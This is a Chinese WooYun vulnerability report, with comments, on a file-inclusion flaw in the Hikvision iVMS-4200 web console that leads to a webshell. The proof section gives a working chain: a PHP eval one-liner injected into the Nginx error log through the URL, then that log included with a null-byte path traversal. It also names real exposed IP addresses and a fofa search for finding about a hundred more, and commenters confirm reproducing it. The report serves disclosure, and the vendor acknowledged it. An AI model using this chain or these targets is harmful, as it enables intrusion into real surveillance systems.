当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072453

漏洞标题:海康威视某系列控制台文件包含导致getshell

相关厂商:海康威视

漏洞作者: ModNar

提交时间:2014-08-15 08:59

修复时间:2014-11-13 09:00

公开时间:2014-11-13 09:00

漏洞类型:文件包含

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-15: 细节已通知厂商并且等待厂商处理中
2014-08-15: 厂商已经确认,细节仅向厂商公开
2014-08-18: 细节向第三方安全合作伙伴开放
2014-10-09: 细节向核心白帽子及相关领域专家公开
2014-10-19: 细节向普通白帽子公开
2014-10-29: 细节向实习白帽子公开
2014-11-13: 细节向公众公开

简要描述:

明显得不忍直视

详细说明:

无意中看到这样的一个系统,搜了一圈型号发现是海康威视IVMS系列的监控客户端,应用还挺广泛的,不过大部分扔在内网。
http://www.hikvision.com/en/download_more.asp?id=1388(2014-07-08)
iVMS-4200适用于嵌入式网络硬盘录像机、混合型网络硬盘录像机、网络视频服务器、NVR、IP Camera和解码设备以及视音频编解码卡,支持实时预览、远程回放和下载、资源管理、远程配置、用户管理、系统配置等多种功能。

飞信截图20140815012413.png


简单来说,它包含了一个WEB版的控制台,用到了一个比较小众的框架,然后被这个Xphp的框架卖了。是这个?http://so.imop.us/
漏洞挺明显的,出现在controller参数的一个任意文件包含:
构造URL访问使其记录在error.log中:
http://222.47.62.226/<?eval($_POST['pass'])?>
直接包含这个客户端自带的Nginx日志文件:
http://222.47.62.226/index.php?controller=../../../../Server/logs/error.log%00.php
借助fofa.so,结果有近百个还摆在外网服务器上(又可以批量开浏览器小窗开屏幕墙了):
http://fofa.so/search/result?q=body%3D%22iVMS-4200%22&qbase64=Ym9keT0iaVZNUy00MjAwIg%3D%3D

图片1.png


漏洞证明:

1.http://localhost/<?eval($_POST['pass'])?>

图片3.jpg


2.http://219.148.26.104/index.php?controller=../../../../Server/logs/error.log%00.php

图片2.png


随手菜刀上去:

飞信截图20140815010258.png


另外发现只要有用户登录,登录该系统的密码还是临时明文存在ssesion文件夹中的:

飞信截图20140815010219.png

修复方案:

需要在框架层的Controller接收处用Basename处理下,本地文件明文保存用户名密码也是个隐患,如何推更新也是个问题,这种企业级敏感应用还是别扔到外网吧。

版权声明:转载请注明来源 ModNar@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-08-15 14:18

厂商回复:

问题已确认,将在下个版本中修复。感谢反馈,请私信联系方式领取礼品。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-10-25 23:50 | sin ( 实习白帽子 | Rank:38 漏洞数:2 | 寻找最优雅的解决方案)

    楼上帅哥,你的<?eval($_POST['pass'])?>确定是一句话?随便请问,你的菜刀一句话地址是?php一句话包含那个空格好难去掉额?难道成功与容器和php版本及函数的开启有关?

  2. 2014-10-30 12:25 | ModNar ( 路人 | Rank:29 漏洞数:3 | 路人甲)

    @sin 地址就是log文件,其余问题没看懂。

  3. 2014-10-30 18:28 | sin ( 实习白帽子 | Rank:38 漏洞数:2 | 寻找最优雅的解决方案)

    @ModNar 楼上是洞主吧,我那天也测试了下,没成功getshell额。http://222.47.62.226/index.php?controller=../../../../Server/logs/error.log%00.php 。这个的意思是包含然后加个截断构成一句话话对吧。<?php eval($_POST['pass'])?>。前面有个php这样才能解析吧。中间的那个空格一直绕不过额。洞主你是怎么拿到shell的额?

  4. 2014-11-13 09:40 | darker ( 路人 | Rank:25 漏洞数:26 | = =)

    么么哒。

  5. 2014-11-13 09:46 | 10457793 ( 普通白帽子 | Rank:867 漏洞数:128 | 说好的借,为什么从来不还?O(∩_∩)O)

    @sin 我也没有复现成功 为什么那

  6. 2014-11-13 10:28 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @sin 文件包含不看后缀啊

  7. 2014-11-13 10:28 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @10457793 修复了吧

  8. 2014-11-13 10:38 | 10457793 ( 普通白帽子 | Rank:867 漏洞数:128 | 说好的借,为什么从来不还?O(∩_∩)O)

    @wefgod 刚刚找了两个案例 应该没有修改

  9. 2014-11-13 11:20 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @10457793 复现成功了?

  10. 2014-11-13 11:21 | 10457793 ( 普通白帽子 | Rank:867 漏洞数:128 | 说好的借,为什么从来不还?O(∩_∩)O)

    @wefgod 我不是说么有嘛 所以才来问大家啊

  11. 2014-11-13 11:37 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @10457793 洞主给的这个案例可以复现好像。C:\Program Files\iVMS-4200 Station\iVMS-4200 Web\Web\www\

  12. 2014-11-13 11:52 | 10457793 ( 普通白帽子 | Rank:867 漏洞数:128 | 说好的借,为什么从来不还?O(∩_∩)O)

    @wefgod 嗯

  13. 2014-11-13 12:01 | Rona ( 实习白帽子 | Rank:88 漏洞数:23 | test)

    复现,成功

  14. 2014-11-17 10:30 | ModNar ( 路人 | Rank:29 漏洞数:3 | 路人甲)

    @darker 嘿嘿,靠肥牛带

  15. 2014-12-06 20:04 | 纠结师 ( 实习白帽子 | Rank:53 漏洞数:12 | 传说中的废材)

    公司有在用 发现是个asp。。 我无语